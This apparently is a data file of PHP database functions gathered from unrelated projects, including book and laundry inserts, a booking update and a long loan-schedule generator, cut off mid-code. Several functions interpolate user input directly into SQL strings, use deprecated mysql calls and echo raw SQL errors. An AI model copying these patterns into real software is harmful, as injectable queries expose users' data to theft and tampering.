Diisi</b></p>\n\t\t\t\t\t</div>\n\t\t\t\t\t\n\t\t</div>\n\t\t</form><br/>\n\t\t</div>\n\t\t</div>\n\t\t</div>\n\t\t\n\t<?php\n\t}\n\treturn false;\n}", "function insertData($table, $data){\n\t\t\n\t\tvalidate();\n\n\t\t$values = $cols = \"\";\n\n\t\tforeach ($data as $key => $value) {\n\t\t\t$cols .= \" \" . $key . \",\";\n\t\t\t$values .= \" \" . $value . \",\";\n\t\t}\n\n\t\t$cols = substr($cols, 0, strlen($cols) - 1);\n\t\t$values = substr($values, 0, strlen($values) - 1);\n\n\t\t$query = \"INSERT INTO $table ($cols) VALUES ($values)\";\n\n\t\t\n\t\ttry {\n\n\t\t\t$pdo = db_init();\n\n\t\t\t$pdo->exec($query);\n\n\t\t\treturn 1;\n\t\t} catch (PDOException $e) {\n\t\t\tlogging($_SERVER['PHP_SELF'] . \", 112, Error Insert Data:\". $e->getMessage() .\" ,\" . date(\"Y-m-d\") . \" \" . date(\"h:i:sa\"));\n\t\t\treturn;\n\t\t}\n\n\t}", "function setGoodArrayAndGoodMysql ($array){\n $connect = $GLOBALS['connect'];\n $kode = $GLOBALS['kode'];\n $array = array_values ($array);\n $array = array_values ($array[0]);\n \n foreach ($array as $val)\n $data[] = mysqli_real_escape_string ( $connect , htmlspecialchars ( htmlentities ( strip_tags (trim ( $val ) ) ) ) );\n \n array_push ($data,$kode);\n return $data;\n}", "public function db_insert_data($data = array()){\r\n\t\t// DB Info\r\n\t\t$tbl = $this->tbl;\r\n\t\t// Query\r\n\t\t$existe = $this->row_exist($tbl['administracion_areas'], array('clave_corta'=> $data['clave_corta']));\r\n\t\tif(!$existe){\r\n\t\t\t$insert = $this->insert_item($tbl['administracion_areas'], $data);\r\n\t\t\treturn $insert;\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "public function input_tambah_master_jenis($data)\n\t{\n\t\t$this->db->insert('master_jenis_laundry',$data);\n\t\treturn TRUE;\n\t}", "public function setRecordInDB($id_prenotazione, $data, $numero_posti, $id_sede, $id_tipologia_prenotazione, $id_utente_registrato){\r\n include_once './db_functions.php';\r\n $db = new DB_Functions();\r\n //Escaping\r\n $data = DB_Functions::esc($data);\r\n $numero_posti = DB_Functions::esc($numero_posti);\r\n $id_sede = DB_Functions::esc($id_sede);\r\n $id_tipologia_prenotazione = DB_Functions::esc($id_tipologia_prenotazione);\r\n $id_utente_registrato = DB_Functions::esc($id_utente_registrato);\r\n $id_prenotazione = DB_Functions::esc($id_prenotazione);\r\n\r\n $query = \"UPDATE PRENOTAZIONE \r\n SET \tDATA = $data,\r\n NUMERO_POSTI = $numero_posti,\r\n ID_SEDE = $id_sede,\r\n ID_TIPOLOGIA_PRENOTAZIONE = $id_tipologia_prenotazione,\r\n ID_UTENTE_REGISTRATO = $id_utente_registrato\r\n WHERE \t\r\n ID_PRENOTAZIONE = $id_prenotazione;\";\r\n $resQuery = $db->executeQuery($query);\r\n if ($resQuery[\"state\"]) {\r\n $this->data = $data;\r\n $this->numero_posti = $numero_posti;\r\n $this->id_sede = $id_sede;\r\n $this->id_tipologia_prenotazione = $id_tipologia_prenotazione;\r\n $this->id_utente_registrato = $id_utente_registrato;\r\n }\r\n return $resQuery;\r\n }", "function tambah($data) {\r\n\t//koneksi sudah dilakukan di function\r\n\tglobal $conn;\r\n\t// mengambil data dari tiap elemen dalam form\r\n\t$nama = htmlspecialchars($data[\"nama\"]);\r\n\t$genre = htmlspecialchars($data[\"genre\"]);\r\n\t$harga = htmlspecialchars($data[\"harga\"]);\r\n\r\n\t//query untuk insert atau menambahkan data\r\n\t$query = \"INSERT INTO buku VALUES ('', '$nama', '$genre', $harga)\";\r\n\tmysqli_query($conn, $query);\r\n\t//mengembalikan angka 1 jika berhasil dan -1 jika gagal\r\n\treturn mysqli_affected_rows($conn);\r\n}", "public function inputNilai($kampus, $username, $dosen, $jurusan, $lingkungan, $prestasi, $mata_kuliah, $biaya){\r\n\r\n $sql = \"INSERT INTO `tbl_nilai` (`id`, `id_kampus`, `username`, `dosen`, `jurusan`, `lingkungan`, `prestasi`, `mata_kuliah`, `biaya`)\r\n VALUES (NULL, '$kampus', '$username', '$dosen', '$jurusan', '$lingkungan', '$prestasi', '$mata_kuliah ', '$biaya');\";\r\n $query = mysql_query($sql);\r\n return $query;\r\n }", "function tambah($data) {\n $conn = koneksi_db();\n\n // Upload Gambar\n $gambar = upload();\n if (!$gambar) {\n return false;\n }\n\n $judul_buku = htmlspecialchars($data['judul_buku']);\n $deskripsi = htmlspecialchars($data['deskripsi']);\n $penulis = htmlspecialchars($data['penulis']);\n $tahun_terbit = htmlspecialchars($data['tahun_terbit']);\n $penerbit = htmlspecialchars($data['penerbit']);\n $stok = htmlspecialchars($data['stok']);\n $harga = htmlspecialchars($data['harga']);\n\n $query = \"INSERT INTO daftar_buku VALUES\n ('', '$gambar', '$judul_buku', '$deskripsi', '$penulis', '$tahun_terbit', '$penerbit', '$stok', '$harga')\";\n\n mysqli_query($conn, $query);\n\n return mysqli_affected_rows($conn);\n }", "function HapusDataBahanBaku() {\n\tinclude '../../koneksi/index.php';\n\n\t//inisialisasi\n\t$id = $_GET['id'];\n\t$stok = \"0\";\n\t$status_hapus = \"0\";\n\n\t//hapus\n\t$sql = \"UPDATE bahan_baku SET stok = ?, status_hapus = ? WHERE id = ?\";\n\t$stmt = $db->prepare($sql);\n\t$stmt->bind_param('isi', $stok, $status_hapus, $id);\n\tif ($stmt->execute()) {\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"berhasil_menghapus\";\n\t} else {\n\t\t$_SESSION['status_operasi_bahan_baku'] = \"gagal_menghapus\";\n\t}\n\t$stmt->close();\n}", "function insert($bd,$data){\n$data_one = \"\";\n$data_two = \"\";\n$contador = count($data);\n$i = 1;\nforeach ($data as $key => $value) {\n\t\tif($i < $contador){\n\t\t\t$data_one .= $key.\",\";\n\t\t\t$data_two .= \":\".$key.\",\";\n\t\t}else{\n\t\t\t$data_one .= $key;\n\t\t\t$data_two .= \":\".$key;\n\t\t}\n\t\t$i++;\n}\n $sql = \"INSERT INTO \".$bd.\" (\".$data_one.\") VALUES (\".$data_two.\")\";\n$conexion = new ConexionOther();\n$stmt= $conexion->prepare($sql);\n$dato = $stmt->execute($data);\n//$stmt = null;\nreturn $dato;\n}", "function spefisik($dataid_kematian)\n\t{\n\n\t\t# codenya sql sepert select*from penduduk where nik = $datanik dimna $datanik adalah yg sudah dipilih. jadi cuma 1 row.\n\t\t$query = $this->db->query(\"SELECT*FROM `kematian` left join penduduk on kematian.nik = penduduk.nik where id_kematian = '$dataid_kematian' \");\n\n\t\t// itu adalah perintah sql join 2 table, yaitupenduduk dan kematian, karena data yanglenkap ada ditable pendudukjadiharus dijoin, \n\t\treturn $query->row();\n\t\t\n\t}", "function AddData($conn)\r\n{\r\n\tglobal $x_credito_id;\r\n\t$sSql = \"SELECT * FROM `credito`\";\r\n\t$sWhere = \"\";\r\n\t$sGroupBy = \"\";\r\n\t$sHaving = \"\";\r\n\t$sOrderBy = \"\";\r\n\r\n\t// Check for duplicate key\r\n\t$bCheckKey = true;\r\n\t$sWhereChk = $sWhere;\r\n\tif ((@$x_credito_id == \"\") || (is_null($x_credito_id))) {\r\n\t\t$bCheckKey = false;\r\n\t} else {\r\n\t\tif ($sWhereChk <> \"\") { $sWhereChk .= \" AND \"; }\r\n\t\t$sTmp = (get_magic_quotes_gpc()) ? stripslashes($x_credito_id) : $x_credito_id;\t\t\t\r\n\t\t$sWhereChk .= \"(`credito_id` = \" . addslashes($sTmp) . \")\";\r\n\t}\r\n\tif ($bCheckKey) {\r\n\t\t$sSqlChk = $sSql . \" WHERE \" . $sWhereChk;\r\n\t\t$rsChk = phpmkr_query($sSqlChk, $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSqlChk);\r\n\t\tif (phpmkr_num_rows($rsChk) > 0) {\r\n\t\t\t$_SESSION[\"ewmsg\"] = \"Duplicate value for primary key\";\r\n\t\t\tphpmkr_free_result($rsChk);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tphpmkr_free_result($rsChk);\r\n\t}\r\n\r\n\tphpmkr_query('START TRANSACTION;', $conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: BEGIN TRAN');\r\n\r\n\r\n\t$theValue = ($GLOBALS[\"x_credito_num\"] != \"\") ? \" '\" . $GLOBALS[\"x_credito_num\"] . \"'\" : \"0\";\r\n\t$fieldList[\"`credito_num`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_cliente_num\"] != \"\") ? \" '\" . $GLOBALS[\"x_cliente_num\"] . \"'\" : \"0\";\r\n\t$fieldList[\"`cliente_num`\"] = $theValue;\r\n\r\n\t// Field credito_tipo_id\r\n\t$theValue = ($GLOBALS[\"x_credito_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_credito_tipo_id\"]) : \"NULL\";\r\n\t$fieldList[\"`credito_tipo_id`\"] = $theValue;\r\n\r\n\t// Field solicitud_id\r\n\t$theValue = ($GLOBALS[\"x_solicitud_id\"] != \"\") ? intval($GLOBALS[\"x_solicitud_id\"]) : \"NULL\";\r\n\t$fieldList[\"`solicitud_id`\"] = $theValue;\r\n\r\n\t// Field credito_status_id\r\n\t$theValue = ($GLOBALS[\"x_credito_status_id\"] != \"\") ? intval($GLOBALS[\"x_credito_status_id\"]) : \"NULL\";\r\n\t$fieldList[\"`credito_status_id`\"] = $theValue;\r\n\r\n\t// Field fecha_otrogamiento\r\n\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_otrogamiento`\"] = $theValue;\r\n\r\n\t// Field fecha_otrogamiento\r\n\t$theValue = ($GLOBALS[\"x_fecha_primerpago\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_primerpago\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_primerpago`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_fecha_abonocap\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_abonocap\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_abonocap`\"] = $theValue;\r\n\r\n\r\n\t$theValue = ($GLOBALS[\"x_periodos_gracia\"] != \"\") ? intval($GLOBALS[\"x_periodos_gracia\"]) : 0;\r\n\t$fieldList[\"`periodos_gracia`\"] = $theValue;\r\n\r\n\t// Field importe\r\n\t$theValue = ($GLOBALS[\"x_importe\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_importe\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`importe`\"] = $theValue;\r\n\r\n\t// Field plazo\r\n\t$theValue = ($GLOBALS[\"x_forma_pago_id\"] != \"\") ? intval($GLOBALS[\"x_forma_pago_id\"]) : \"NULL\";\r\n\t$fieldList[\"`forma_pago_id`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_tipo_calculo\"] != \"\") ? intval($GLOBALS[\"x_tipo_calculo\"]) : \"NULL\";\r\n\t$fieldList[\"`tipo_calculo`\"] = $theValue;\r\n\r\n\t// Field tasa\r\n\t$theValue = ($GLOBALS[\"x_tasa\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_tasa\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`tasa`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_iva\"] != \"\") ? \" '\" . intval($GLOBALS[\"x_iva\"]) . \"'\" : \"2\";\r\n\t$fieldList[\"`iva`\"] = $theValue;\r\n\r\n\t// Field plazo\r\n\t$theValue = ($GLOBALS[\"x_plazo\"] != \"\") ? intval($GLOBALS[\"x_plazo\"]) : \"NULL\";\r\n\t$fieldList[\"`plazo_id`\"] = $theValue;\r\n\r\n\t// Field fecha_vencimiento\r\n\t$theValue = ($GLOBALS[\"x_fecha_vencimiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_vencimiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_vencimiento`\"] = $theValue;\r\n\r\n\t// Field tasa_moratoria\r\n\t$theValue = ($GLOBALS[\"x_tasa_moratoria\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_tasa_moratoria\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`tasa_moratoria`\"] = $theValue;\r\n\r\n\t// Field medio_pago_id\r\n\t$theValue = ($GLOBALS[\"x_medio_pago_id\"] != \"\") ? intval($GLOBALS[\"x_medio_pago_id\"]) : \"NULL\";\r\n\t$fieldList[\"`medio_pago_id`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_banco_id\"] != \"\") ? intval($GLOBALS[\"x_banco_id\"]) : \"0\";\r\n\t$fieldList[\"`banco_id`\"] = $theValue;\r\n\r\n\t// Field referencia_pago\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_referencia_pago\"]) : $GLOBALS[\"x_referencia_pago\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`referencia_pago`\"] = $theValue;\r\n\r\n\r\n\t// \r\n\t$theValue = ($GLOBALS[\"x_num_pagos\"] != \"\") ? intval($GLOBALS[\"x_num_pagos\"]) : \"0\";\r\n\t$fieldList[\"`num_pagos`\"] = $theValue;\r\n\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_tdp\"]) : $GLOBALS[\"x_tdp\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`tarjeta_num`\"] = $theValue;\r\n\r\n\t// Field penalizacion\r\n\t$theValue = ($GLOBALS[\"x_penalizacion\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_penalizacion\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`penalizacion`\"] = $theValue;\r\n\t// garantia liquida\r\n\t$theValue = ($GLOBALS[\"x_garantia_liquida\"] != \"\") ? intval($GLOBALS[\"x_garantia_liquida\"]) : \"0\";\r\n\t$fieldList[\"`garantia_liquida`\"] = $theValue;\r\n\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `credito` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\t$x_credito_id = mysql_insert_id();\r\n\t\r\n//\t$theValue = ($GLOBALS[\"x_num_pagos\"] != \"\") ? intval($GLOBALS[\"x_num_pagos\"]) : \"0\";\r\n\t$fieldList[\"`credito_respaldo_id`\"] = intval($x_credito_id);\r\n\t\r\n\t// se hace para gaurdar una copia de como se otorgo el credito originalmente.\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `credito_respaldo` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\t$x_result = phpmkr_query($sSql, $conn) or die(\"No se inserto en respaldo credito\".phpmkr_error().\"sql :\". $sSql);\r\n\t\r\n\t$fieldList = NULL;\r\n\t\r\n\t\r\n\t// credito_condicones\r\n\t\r\n\t\r\n\t\r\n//GENERA VENCIMIENTOS\r\n\r\n\tinclude(\"utilerias/datefunc.php\");\r\n\r\n\t$sSql = \"SELECT valor FROM plazo where plazo_id = \".$GLOBALS[\"x_plazo\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_plazo = $row[\"valor\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\t$sSql = \"SELECT valor FROM forma_pago where forma_pago_id = \".$GLOBALS[\"x_forma_pago_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_forma_pago = $row[\"valor\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n//\t$x_num_pagos = $x_plazo * $x_forma_pago;\r\n\t$x_num_pagos = $GLOBALS[\"x_num_pagos\"];\t\r\n\r\n\t$GLOBALS[\"x_importe\"] = str_replace(\",\",\"\",$GLOBALS[\"x_importe\"]);\r\n\t$temptime = strtotime(ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]));\t\r\n\t$x_interes = 0;\r\n\t$x_pago_act = 1;\r\n\t\r\n\r\n//tasa mensual\r\n$x_tasa_mensual = (($GLOBALS[\"x_tasa\"]/12)/100); \r\n\r\n//determinar tasa segun forma pago\r\nswitch ($x_forma_pago)\r\n{\r\n\tcase 28: // Mensual\r\n\t\t$x_tasa_calculada = (($GLOBALS[\"x_tasa\"]/12)/100); \r\n\t\tbreak;\r\n\tcase 15: // Quincenal\r\n\t\t$x_tasa_calculada = (($GLOBALS[\"x_tasa\"]/24)/100); \r\n\t\tbreak;\r\n\tcase 14: // Catorcenal\r\n\t\t$x_tasa_calculada = (($GLOBALS[\"x_tasa\"]/26)/100); \r\n\t\tbreak;\r\n\tcase 7: // Semanal\r\n\t\t$x_tasa_calculada = (($GLOBALS[\"x_tasa\"]/52)/100); \r\n\t\tbreak;\r\n}\r\n\r\nif($GLOBALS[\"x_iva\"] == 1){\r\n\t$x_tasa_calculada_pow = $x_tasa_calculada * 1.16;\r\n}else{\r\n\t$x_tasa_calculada_pow = $x_tasa_calculada;\t\r\n}\r\n\r\n\t\r\n/////// calculo promediado\t\r\nif($GLOBALS[\"x_tipo_calculo\"] == 1){\r\n\r\n\r\n\twhile($x_pago_act < $x_num_pagos + 1){\r\n\t\t\r\n\t\tif ($GLOBALS[\"x_forma_pago_id\"] == 3){\r\n\t\t\t// si la forma de pago es mensuial entonces en lugar de agragra 28 dias que es valor contemplado en la base de datos se agrega un mes completo\r\n\t\t\t$temptime = DateAdd('m',1,$temptime);\r\n\t\t\techo \"\";\t\t\t\r\n\t\t\t}else{\r\n\t\t\t\t// si no es mensual la\r\n\t\t$temptime = DateAdd('w',$x_forma_pago,$temptime);\r\n\t\t\t}\r\n\r\n\t\t$fecha_act = strftime('%Y-%m-%d',$temptime);\t\t\t\r\n\t\t$x_dia = strftime('%A',$temptime);\r\n\r\n//Validar domingos\r\n\t\tif($x_dia == \"SUNDAY\"){\r\n\t\t\t$temptime = strtotime($fecha_act);\r\n\t\t\t$temptime = DateAdd('w',1,$temptime);\r\n\t\t\t$fecha_act = strftime('%Y-%m-%d',$temptime);\r\n\t\t}\r\n\r\n//\t\t$x_interes_act = (1/pow((1+doubleval($GLOBALS[\"x_tasa\"] / 100 )),$x_pago_act));\r\n\r\n\t\t$x_interes_act = (1/pow((1+doubleval($x_tasa_calculada)),$x_pago_act));\r\n\r\n\r\n\t\t$x_interes = $x_interes + $x_interes_act;\r\n\t\r\n\t\t$sSql = \"insert into vencimiento values(0,$x_credito_id, $x_pago_act,1, '$fecha_act', 0, 0, 0, 0, 0, 0,NULL)\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\t\r\n\t\t$temptime = strtotime($fecha_act);\r\n\t\t$x_pago_act++;\t\r\n\t}\t\t\r\n\r\n\t$x_total_venc = round($GLOBALS[\"x_importe\"] / $x_interes);\r\n\t$x_capital_venc = ($GLOBALS[\"x_importe\"] / $x_num_pagos);\r\n\t$x_interes_venc = round($x_total_venc - $x_capital_venc);\r\n\tif($GLOBALS[\"x_iva\"] == 1){\r\n\t\t$x_iva_venc = round($x_interes_venc * .15);\t\r\n\t\t$x_total_venc = $x_total_venc + $x_iva_venc;\r\n\t}else{\r\n\t\t$x_iva_venc = 0;\r\n\t}\r\n\r\n\t$sSql = \"update vencimiento set importe = $x_capital_venc, interes = $x_interes_venc, total_venc = $x_total_venc, iva = $x_iva_venc where credito_id = $x_credito_id\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\r\n\r\n////////////////// fin calculo promediado\r\n\r\n\r\n}else{\r\n\r\n\r\n//calculo de los interes dias de gracias fecha_primerpago - fecha_oorgamiento\r\n// se suma al pago semanal dividido en todos los pagos\r\n// hay que respetar el interes normal del primer pago osea se suma al int del periodo de gracia.\r\n\r\n/*\r\n\r\nPARA ACCELI\r\n-----------------------\r\nPRIMERO SE CALCULA EN INTERES DEL TOTAL Y ESTO CORRESPONDE AL IMPORTE DEL VENCIMIENTO\r\nDE CADA PAGO HASTA EL DIA DE PRIMER PAGO. DESPUES SE DEBEN DE CALCULAR LOS INTERESES\r\nNORMAL DE FORMA TRADICIONAL CON ABONOS A CAPITAL\r\n\r\n\r\n1 determinar el total a pagar del credito importe + int + iva\r\n2 determinar num de venc solo int y sumar importe\r\n3 restar total int sin capital al importe total para sacar importe restante\r\n4 importe venc dividir imp restante entre vencimientos sobrantes redondeado\r\n5 primer venc abono cap = (importe venc - interes)\r\n6 resta abono cap determina interes y abono cap = (importe venc - interes)\r\n7 en el ultimo venc se debe de ajustar el abono a cap e importe del venc para ello se deben de ir sumando los abonos para restarlos al importe del prestamo)\r\n\r\ncalcinteres.xls en doctos accelicap\r\n\r\n*/\r\n\r\n//include(\"utilerias/datefunc.php\");\r\n\r\n\r\n\r\n//aqui\r\n\r\n\r\n\t$x_fecha_otrogamiento = $GLOBALS[\"x_fecha_otrogamiento\"];\r\n\t$x_fecha_primerpago = $GLOBALS[\"x_fecha_primerpago\"]; //esta vacia\r\n\t$x_fecha_abonocap = $GLOBALS[\"x_fecha_abonocap\"];\r\n\t$x_periodos_gracia = $GLOBALS[\"x_periodos_gracia\"];\r\n\t$x_importe = $GLOBALS[\"x_importe\"];\r\n\t$x_vencimiento_actual = 0;\r\n\r\n\r\n\t//dias de gracia - calcula saldo de interes para aplicar en el primer vencmiemtno\r\n\t$x_saldo_intereses = 0;\r\n\tif($x_fecha_primerpago != $x_fecha_otrogamiento && false){\r\n\r\n\t\t$x_fecha_ant = strtotime(ConvertDateToMysqlFormat($x_fecha_otrogamiento));\r\n\t\t$fecha_act = strtotime(ConvertDateToMysqlFormat($x_fecha_primerpago));\r\n\r\n\t\t$difference = $fecha_act - $x_fecha_ant; // Difference in seconds\r\n\t\t$x_dias_total = floor($difference / 86400);\r\n\r\n\t\t//calcular interes con tasa diaria\r\n\t\t$x_interes_gracia = ($x_importe * (($GLOBALS[\"x_tasa\"]/360)/100)) * $x_dias_total;\r\n\t\t\r\n\t\t$x_saldo_intereses = $x_interes_gracia;\r\n\t\t\r\n\t\tif($GLOBALS[\"x_iva\"] == 1){\r\n\t\t\t$x_iva_gracia = round($x_saldo_intereses * .16);\t\r\n\t\t}else{\r\n\t\t\t$x_iva_gracia = 0;\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t}\r\n\t\r\n\t$x_venc_num_sac = 0;\r\n\r\n\t//genera vencimientos sin abono a capital\r\n\t\r\n\t\r\n//\tif($x_fecha_abonocap != $x_fecha_otrogamiento){\r\n\tif($x_periodos_gracia > 0 && false){\t\t\r\n\t\t//genera vencimientos sin abono a capital\r\n\t\t$x_venc_num_sac = 1;\t\t\r\n\t\t$fecha_ant = $x_fecha_otrogamiento;\r\n\t\t$fecha_act = ConvertDateToMysqlFormat($x_fecha_otrogamiento);\t\t\r\n\t\t\r\n\t\t$x_contador = 1;\r\n\t\t\r\n//\t\twhile(strtotime($fecha_act) < strtotime(ConvertDateToMysqlFormat($x_fecha_abonocap)) || strtotime($fecha_act) == strtotime(ConvertDateToMysqlFormat($x_fecha_abonocap))){\r\n\t\twhile($x_contador <= $x_periodos_gracia || $x_contador == $x_periodos_gracia){\r\n\t\t\t\r\n\t\t\t$fecha_ant = strtotime(ConvertDateToMysqlFormat($fecha_ant));\r\n\t\t\tif ($GLOBALS[\"x_forma_pago_id\"] == 3){\r\n\t\t\t// si la forma de pago es mensuial entonces en lugar de agragra 28 dias que es valor contemplado en la base de datos se agrega un mes completo\r\n\t\t\t$fecha_act = DateAdd('m',1,$temptime);\r\n\t\t\t\r\n\t\t\t}else{\t\t\t\t\r\n\t\t\t$fecha_act = DateAdd('w',$x_forma_pago,$fecha_ant);\r\n\t\t\t}\r\n\t\t\t$fecha_act = strftime('%Y-%m-%d',$fecha_act);\r\n\t\t\t$fecha_act = strtotime(ConvertDateToMysqlFormat($fecha_act));\r\n\r\n\t\t\t\r\n\t\t\t$difference = $fecha_act - $fecha_ant; // Difference in seconds\r\n\t\t\t$x_dias_total = floor($difference / 86400);\t\t\r\n\r\n\t\t\t$x_interes_sac = ($x_importe * (($GLOBALS[\"x_tasa\"]/360)/100)) * $x_dias_total;\r\n\r\n\t\t\tif($x_saldo_intereses > 0 && $x_venc_num_sac == 1){\r\n\t\t\t\t$x_interes_sac = $x_interes_sac + $x_saldo_intereses;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif($GLOBALS[\"x_iva\"] == 1){\r\n\t\t\t\t$x_iva_sac = round($x_interes_sac * .16);\t\r\n\t\t\t}else{\r\n\t\t\t\t$x_iva_sac = 0;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$x_importe_vencimiento_sac = $x_interes_sac + $x_iva_sac;\r\n\r\n\r\n\t\t\t$fecha_act = strftime('%Y-%m-%d',$fecha_act);\r\n\t\t\t$fecha_ant = strftime('%Y-%m-%d',$fecha_ant);\t\r\n\r\n\t\t\t$sSql = \"insert into vencimiento values(0,$x_credito_id, $x_venc_num_sac,1, '\".$fecha_act.\"', 0, $x_interes_sac, 0, $x_iva_sac, 0, $x_importe_vencimiento_sac,NULL)\";\r\n\t\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\t\tif(!$x_result){\r\n\t\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\t\texit();\r\n\t\t\t}\r\n\r\n\r\n\t\t\techo $sSql.\"<br>\";\r\n\t\t\techo $fecha_ant .\" -- \" .$x_fecha_abonocap.\"<br>\";\r\n\t\t\techo strtotime($fecha_ant) .\" - \". strtotime(ConvertDateToMysqlFormat($x_fecha_abonocap)).\"<br>\";\r\n\t\t\techo $fecha_act . \" < \" . $x_fecha_abonocap.\" - \".$x_contador.\"<br>\";\r\n\r\n\t\t\t$x_saldo_intereses = $x_saldo_intereses + $x_interes_sac;\r\n\t\t\t$fecha_ant = $fecha_act; \r\n\t\t\t$x_contador++;\r\n\t\t\t$x_venc_num_sac++;\r\n\t\t\t\r\n\t\t}\r\n\t\t$x_venc_num_sac = $x_venc_num_sac - 1;\r\n\t}\r\n\r\n\r\n//\tdie();\r\n\r\n\t//genera vencimientos con abono a capital\r\n\t//deterrmina venc restantes\r\n\r\n\r\n\t$x_venc_num_cac = $x_num_pagos - $x_venc_num_sac;\r\n\t$x_saldo_intereses = 0;\r\n\t$x_fecha_abonocap = $fecha_act;\r\n\t\r\n\t\r\n\t//calculo de pago de vencimientos\r\n\t$temptime = $x_fecha_abonocap;\r\n//\t$temptime = strtotime(ConvertDateToMysqlFormat($x_fecha_abonocap));\t\t\r\n\t$x_pago_act = 1;\r\n\twhile($x_pago_act < ($x_venc_num_cac + 1)){\r\n\t\tif ($GLOBALS[\"x_forma_pago_id\"] == 3){\r\n\t\t\t// si la forma de pago es mensuial entonces en lugar de agragra 28 dias que es valor contemplado en la base de datos se agrega un mes completo\r\n\t\t\t$temptime = DateAdd('m',1,$temptime);\r\n\t\t\t\r\n\t\t\t}else{\r\n\t\t$temptime = DateAdd('w',$x_forma_pago,$temptime);\r\n\t\t\t}\r\n\t\t$fecha_act = strftime('%Y-%m-%d',$temptime);\t\t\t\r\n\t\t$x_dia = strftime('%A',$temptime);\r\n\r\n\t\t//Validar domingos\r\n\t\tif($x_dia == \"SUNDAY\"){\r\n\t\t\t$temptime = strtotime($fecha_act);\r\n\t\t\t$temptime = DateAdd('w',1,$temptime);\r\n\t\t\t$fecha_act = strftime('%Y-%m-%d',$temptime);\r\n\t\t}\r\n\r\n\t\t$x_interes_act = (1/pow((1+doubleval($x_tasa_calculada_pow)),$x_pago_act));\r\n\t\t\r\n\t\t$x_interes = $x_interes + $x_interes_act;\r\n\t\r\n\t\t$temptime = strtotime($fecha_act);\r\n\t\t$x_pago_act++;\t\r\n\t}\t\t\r\n\t\r\n\r\n\t$x_total_venc = round($x_importe / $x_interes);\t\r\n/*\t\t\r\n\t$x_total_intereses = ($x_total_venc * $x_num_pagos) - $x_importe;\r\n\tif($GLOBALS[\"x_iva\"] == 1){\r\n\t\t$x_total_intereses = $x_total_intereses * 1.16;\r\n\t\t$x_interes_venc = round($x_total_intereses / 